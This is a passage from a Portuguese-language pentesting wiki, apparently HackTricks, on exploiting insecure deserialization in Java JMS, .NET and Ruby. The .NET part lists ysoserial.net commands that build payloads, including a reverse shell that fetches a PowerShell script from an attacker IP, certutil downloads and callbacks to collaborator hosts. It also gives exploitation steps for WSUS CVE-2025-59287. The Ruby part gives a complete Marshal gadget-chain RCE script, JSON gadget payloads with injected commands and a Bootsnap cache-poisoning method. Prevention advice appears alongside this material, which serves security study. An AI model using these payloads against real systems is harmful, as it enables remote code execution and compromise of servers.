- Kryo é um framework alternativo de serialization que enfatiza velocidade e eficiência, oferecendo estratégias de serialization configuráveis que podem aumentar a segurança.
Referências
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Exploração
Basicamente, existem vários serviços que usam JMS de forma insegura. Portanto, se você tiver privilégios suficientes para enviar mensagens a esses serviços (normalmente será necessário credenciais válidas), você pode ser capaz de enviar objetos maliciosos serializados que serão desserializados pelo consumer/subscriber.
Isso significa que, nessa exploração, todos os clientes que consumirem aquela mensagem poderão ser comprometidos.
Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando entrada de usuário de forma insegura), ainda é necessário encontrar gadgets válidos para explorar a vulnerabilidade.
A ferramenta JMET foi criada para conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos. Esses exploits funcionarão se o serviço ainda for vulnerável e se qualquer um dos gadgets usados estiver presente na aplicação vulnerável.
Referências
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
No contexto do .Net, exploits de deserialização operam de maneira semelhante aos encontrados em Java, onde gadgets são explorados para executar código específico durante a desserialização de um objeto.
Fingerprint
WhiteBox
O código-fonte deve ser inspecionado em busca das ocorrências de:
TypeNameHandlingJavaScriptTypeResolver
O foco deve ser em serializers que permitam que o tipo seja determinado por uma variável sob controle do usuário.
BlackBox
A busca deve mirar a string codificada em Base64 AAEAAAD///// ou qualquer padrão similar que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso pode incluir, entre outros, estruturas JSON ou XML que contenham TypeObject ou $type.
ysoserial.net
Neste caso você pode usar a ferramenta ysoserial.net para criar os exploits de deserialização. Uma vez baixado o repositório git, você deve compilar a ferramenta usando o Visual Studio, por exemplo.
Se você quiser aprender como o ysoserial.net cria seus exploits, você pode checar esta página onde é explicado o ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
As opções principais do ysoserial.net são: --gadget, --formatter, --output e --plugin.
--gadgetusado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).--formatter, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end usa para desserializar o payload e usar a mesma para serializá-lo).--outputusado para indicar se você quer o exploit em raw ou base64. Note que ysoserial.net vai codificar o payload usando UTF-16LE (codificação usada por padrão no Windows) então, se você obtiver o raw e apenas o codificar a partir de um console Linux, pode ter alguns problemas de compatibilidade de encoding que impedirão o exploit de funcionar corretamente (no HTB JSON box o payload funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará).--pluginysoserial.net suporta plugins para criar exploits para frameworks específicos como ViewState
Mais parâmetros do ysoserial.net
--minifyvai fornecer um payload menor (se possível)--raf -f Json.Net -c "anything"Isso vai indicar todos os gadgets que podem ser usados com um formatter fornecido (Json.Netneste caso)--sf xmlvocê pode indicar um gadget (-g) e o ysoserial.net buscará por formatters contendo “xml” (case insensitive)
Exemplos do ysoserial para criar exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net também tem um parâmetro muito interessante que ajuda a entender melhor como cada exploit funciona: --test
Se você indicar esse parâmetro, ysoserial.net irá tentar o exploit localmente, para que você possa testar se seu payload funcionará corretamente.
Esse parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Isso significa que, para testar o exploit, o código chamará serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the previous code is vulnerable to the exploit created. Então, se encontrar algo semelhante em uma aplicação .Net, provavelmente essa aplicação também é vulnerável.
Portanto o parâmetro --test nos permite entender quais trechos de código são vulneráveis ao exploit de desserialização que ysoserial.net pode criar.
ViewState
Veja este POST sobre como tentar explorar o __ViewState parameter do .Net para executar código arbitrário. Se você já conhece os segredos usados pela máquina vítima, leia este post para saber como executar código.
Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE
- Endpoints afetados:
/SimpleAuthWebService/SimpleAuth.asmx→ GetCookie() AuthorizationCookie decryptado e então desserializado com BinaryFormatter./ReportingWebService.asmx→ ReportEventBatch e operações SOAP relacionadas que chegam a sinks do SoapFormatter; gadget em base64 é processado quando o console WSUS ingere o evento.- Causa raiz: bytes controlados pelo atacante alcançam formatadores legados do .NET (BinaryFormatter/SoapFormatter) sem allow‑lists/binders estritos, então cadeias de gadgets executam como a conta de serviço do WSUS (frequentemente SYSTEM).
Exploração mínima (caminho Reporting):
- Gere um gadget .NET com ysoserial.net (BinaryFormatter ou SoapFormatter) e produza saída em base64, por exemplo:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Construa um SOAP para
ReportEventBatchincorporando obase64gadget e faça um POST para/ReportingWebService.asmx. - Quando um admin abre o console do WSUS, o evento é desserializado e o gadget é disparado (RCE como SYSTEM).
AuthorizationCookie / GetCookie()
- Um AuthorizationCookie forjado pode ser aceito, descriptografado e passado para um BinaryFormatter sink, permitindo pre‑auth RCE se for acessível.
Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
See Windows Local Privilege Escalation – WSUS
Prevenção
To mitigate the risks associated with deserialization in .Net:
- Evite permitir que fluxos de dados definam seus tipos de objeto. Utilize
DataContractSerializerouXmlSerializerquando possível. - Para
JSON.Net, definaTypeNameHandlingcomoNone:TypeNameHandling = TypeNameHandling.None - Evite usar
JavaScriptSerializercom umJavaScriptTypeResolver. - Limite os tipos que podem ser desserializados, entendendo os riscos inerentes aos tipos .Net, como
System.IO.FileInfo, que pode modificar propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço. - Tenha cautela com tipos que possuem propriedades arriscadas, como
System.ComponentModel.DataAnnotations.ValidationExceptioncom sua propriedadeValue, que pode ser explorada. - Controle de forma segura a instanciação de tipos para evitar que atacantes influenciem o processo de desserialização, tornando mesmo
DataContractSerializerouXmlSerializervulneráveis. - Implemente controles de lista branca usando um
SerializationBinderpersonalizado paraBinaryFormattereJSON.Net. - Mantenha-se informado sobre gadgets conhecidos de desserialização inseguros dentro do .Net e garanta que os desserializadores não instanciem tais tipos.
- Isole código potencialmente arriscado do código com acesso à internet para evitar expor gadgets conhecidos, como
System.Windows.Data.ObjectDataProviderem aplicações WPF, a fontes de dados não confiáveis.
Referências
- Desserialização JSON em Java e .Net artigo: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, palestra: https://www.youtube.com/watch?v=oUAeWhW5b8c e slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
No Ruby, a serialização é facilitada por dois métodos dentro da biblioteca marshal. O primeiro método, conhecido como dump, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Por outro lado, o segundo método, load, é empregado para reverter um fluxo de bytes de volta a um objeto, um processo conhecido como desserialização.
Para proteger objetos serializados, Ruby emprega HMAC (Hash-Based Message Authentication Code), garantindo a integridade e autenticidade dos dados. A chave utilizada para esse fim é armazenada em um dos seguintes locais:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Cadeia genérica de desserialização para RCE no Ruby 2.X (mais informações em https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Outra cadeia de RCE para explorar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
Como explicado em this vulnerability report, se alguma entrada de usuário não sanitizada alcançar o método .send() de um objeto ruby, esse método permite invocar qualquer outro método do objeto com quaisquer parâmetros.
Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Além disso, se apenas um parâmetro de .send() for controlado por um atacante, como mencionado no relato anterior, é possível chamar qualquer método do objeto que não precise de argumentos ou cujos argumentos tenham valores padrão.
Para isso, é possível enumerar todos os métodos do objeto para encontrar alguns métodos interessantes que cumpram esses requisitos.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Veja como pode ser possível pollute a Ruby class and abuse it in here.
Ruby _json pollution
Ao enviar no corpo alguns valores não hashable como um array, eles serão adicionados em uma nova chave chamada _json. Contudo, é possível que um atacante também defina no corpo um valor chamado _json com os valores arbitrários que desejar. Então, se o backend, por exemplo, verifica a veracidade de um parâmetro mas depois também usa o parâmetro _json para executar alguma ação, um bypass de autorização pode ser realizado.
Confira mais informações na Ruby _json pollution page.
Outras bibliotecas
Esta técnica foi retirada from this blog post.
Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e que, portanto, podem ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que é chamado da classe carregada sempre que ela é desserializada (função a ser abusada para conseguir RCE basicamente):
| Biblioteca | Dados de entrada | Método disparador dentro da classe |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (class needs to be put into hash(map) as key) |
| Ox | XML | hash (class needs to be put into hash(map) as key) |
| Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Exemplo básico:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
No caso de tentar abusar do Oj, foi possível encontrar uma gadget class que, dentro da sua função hash, chamava to_s, que chamava spec, que chamava fetch_path — e era possível fazê‑la buscar uma URL aleatória, servindo como um excelente detector desse tipo de unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Além disso, verificou-se que, com a técnica anterior, uma pasta também é criada no sistema, o que é um requisito para abusar de outro gadget a fim de transformar isso em um RCE completo com algo como:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Confira mais detalhes no original post.
Cache de bootstrap
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identificar a vulnerabilidade e o ambiente
A funcionalidade de upload de arquivos do Rails permite que um atacante escreva arquivos arbitrariamente. Embora a app rode com restrições (apenas certos diretórios como tmp são graváveis devido ao usuário non-root do Docker), isso ainda permite escrever no diretório de cache do Bootsnap (tipicamente em tmp/cache/bootsnap).
- Entender o mecanismo de cache do Bootsnap
Bootsnap acelera o boot do Rails ao cachear código Ruby compilado, arquivos YAML e JSON. Ele armazena arquivos de cache que incluem um cache key header (com campos como RUBY_VERSION, RUBY_REVISION, size, mtime, compile_option, etc.) seguido pelo código compilado. Esse header é usado para validar o cache durante o startup da aplicação.
- Coletar metadados do arquivo
O atacante seleciona primeiro um arquivo alvo que provavelmente é carregado durante o startup do Rails (por exemplo, set.rb da standard library do Ruby). Executando código Ruby dentro do container, eles extraem metadados críticos (tais como RUBY_VERSION, RUBY_REVISION, size, mtime e compile_option). Esses dados são essenciais para construir uma cache key válida.
- Calcular o caminho do arquivo de cache
Ao replicar o mecanismo de hash FNV-1a 64-bit do Bootsnap, determina-se o caminho correto do arquivo de cache. Esse passo garante que o arquivo de cache malicioso seja colocado exatamente onde o Bootsnap espera (por exemplo, sob tmp/cache/bootsnap/compile-cache-iseq/).
- Construir o arquivo de cache malicioso
O atacante prepara um payload que:
- Executa comandos arbitrários (por exemplo, executando id para mostrar informações do processo).
- Remove o cache malicioso após a execução para prevenir exploração recursiva.
- Carrega o arquivo original (p.ex., set.rb) para evitar que a aplicação trave.
Esse payload é compilado em código Ruby binário e concatenado com um cache key header cuidadosamente construído (usando os metadados coletados e o número de versão correto para Bootsnap).
- Sobrescrever e disparar a execução
Usando a arbitrary file write vulnerability, o atacante grava o arquivo de cache criado no local calculado. Em seguida, eles disparam um restart do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante o restart, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em remote code execution (RCE).
Exploração do Ruby Marshal na prática (atualizado)
Trate qualquer caminho onde bytes não confiáveis alcancem Marshal.load/marshal_load como um RCE sink. Marshal reconstrói grafos de objetos arbitrários e dispara callbacks de library/gem durante a materialização.
- Caminho de código Rails minimamente vulnerável:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Classes de gadgets comuns vistas em cadeias reais:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Marcador típico de efeito colateral embutido em payloads (executado durante a desserialização):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Onde isso surge em aplicações reais:
- Cache stores e session stores do Rails historicamente usando Marshal
- Backends de background jobs e object stores baseados em arquivo
- Qualquer persistência customizada ou transporte de blobs binários de objetos
Descoberta industrializada de gadgets:
- Grep por construtores,
hash,_load,init_with, ou métodos com efeitos colaterais invocados durante o unmarshal - Use as queries ‘Ruby unsafe deserialization’ do CodeQL para rastrear sources → sinks e expor gadgets
- Validar com PoCs públicos multi-formato (JSON/XML/YAML/Marshal)
Referências
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC – tecxx/CVE-2025-59287-WSUS
- RSC Report Lab – CVE-2025-55182 (React 19.2.0)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


